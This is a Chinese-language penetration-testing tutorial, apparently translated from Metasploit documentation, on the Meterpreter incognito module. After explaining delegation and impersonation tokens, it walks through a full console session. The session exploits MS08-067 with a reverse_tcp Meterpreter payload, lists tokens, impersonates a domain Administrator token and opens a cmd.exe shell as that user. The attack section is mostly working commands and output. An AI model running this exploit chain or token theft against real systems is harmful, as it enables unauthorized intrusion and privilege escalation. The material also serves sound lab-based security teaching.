什么是隐身模式?
隐身(incognito)最初是一个独立的应用程序,允许您在成功危害系统时模拟用户令牌。这被整合到Metasploit中,最终被整合到了Meterpreter中。
简而言之,令牌就像网络cookie。它们是一个临时密钥,允许您访问系统和网络,而无需在每次访问文件时都提供凭据。隐身采用这种方式就像cookie窃取工作一样,通过在被要求进行身份验证时重播该临时密钥。有两种令牌:委托和模拟。代表令牌创建用于“交互式”登录,例如登录到计算机或通过远程桌面连接到计算机。模拟令牌用于“非交互式”会话,例如附加网络驱动器或域登录脚本。
关于令牌的其他伟大的事情?他们坚持到重新启动。当用户注销时,他们的委托令牌将被报告为模拟令牌,但仍将保留委托令牌的所有权限。
提示:文件服务器是令牌的虚拟宝库,因为大多数文件服务器都通过域登录脚本用作网络连接的驱动器
一旦进行了Meterpreter会话,您就可以在系统上模拟有效令牌,并成为特定用户,而不必担心凭据,或者就此而言,甚至是哈希值。在渗透测试期间,由于令牌具有允许本地和/或域特权升级的可能性,因此这种做法特别有用,使您可以将可能提升权限的途径替换为多个系统。
首先,让我们加载我们最喜欢的漏洞,ms08_067_netapi,并使用Meterpreter payload。请注意,我们手动设置目标,因为此特定漏洞利用并不总是自动正确地检测目标。将其设置为已知目标将确保正确的内存地址用于开发。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140
RHOST => 10.211.55.140
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
LHOST => 10.211.55.162
msf exploit(ms08_067_netapi) > set LANG english
LANG => english
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
10 Windows XP SP2 Arabic (NX)
11 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
msf exploit(ms08_067_netapi) > set TARGET 8
target => 8
msf exploit(ms08_067_netapi) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.211.55.162:4444 -> 10.211.55.140:1028)
meterpreter >
我们现在有一个Meterpreter控制台,我们将开始我们的隐身令牌攻击。像priv(hashdump和timestomp)和stdapi(upload, download, 等),incognito是一个Meterpreter模块。我们通过执行' use incognito '命令将模块加载到我们的Meterpreter会话中。发布"help"命令向我们展示了我们隐身的各种选项以及每个选项的简要说明。
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > help
Incognito Commands
==================
Command Description
------- -----------
add_group_user 尝试将用户添加到包含所有令牌的全局组
add_localgroup_user 尝试将用户添加到包含所有令牌的本地组
add_user 尝试添加具有所有令牌的用户
impersonate_token 模拟指定的令牌
list_tokens 列出在当前用户上下文下可用的令牌
snarf_hashes 针对每个令牌的Snarf challenge/response 哈希
meterpreter >
我们首先需要做的是确定这个系统上是否有任何有效的令牌。根据您的漏洞利用程序提供的访问级别,您可以限制您可以查看的令牌。当涉及令牌窃取时,SYSTEM是王道。作为SYSTEM,您可以在盒子上看到并使用任何标记。
提示:管理员无权访问所有令牌,但他们有能力迁移到SYSTEM进程,从而有效地使他们成为SYSTEM并能够看到所有可用的令牌。
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
SNEAKS.IN\Administrator
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
meterpreter >
我们在这里看到有一个有效的Administrator管理员令牌看起来很有趣。我们现在需要模拟这个令牌以承担它的特权。发出impersonate_token命令时,请注意“SNEAKS.IN \\ Administrator”中的两个反斜杠。这是必需的,因为它会导致只有一个斜杠的错误。还要注意,成功模拟令牌后,我们通过执行getuid命令来检查当前的用户ID 。
meterpreter > impersonate_token SNEAKS.IN\\Administrator
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\Administrator
meterpreter > getuid
Server username: SNEAKS.IN\Administrator
meterpreter >
接下来,我们通过在Meterpreter中运行' execute -f cmd.exe -i -t '来运行一个shell作为此个人帐户。“ execute -f cmd.exe ”告诉Metasploit执行cmd.exe,-i允许我们与受害者PC进行交互,而-t则认为我们刚刚通过隐身模式扮演角色。
meterpreter > execute -f cmd.exe -i -t
meterpreter > shell
Process 2804 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32> whoami
whoami
SNEAKS.IN\administrator
C:\WINDOWS\system32>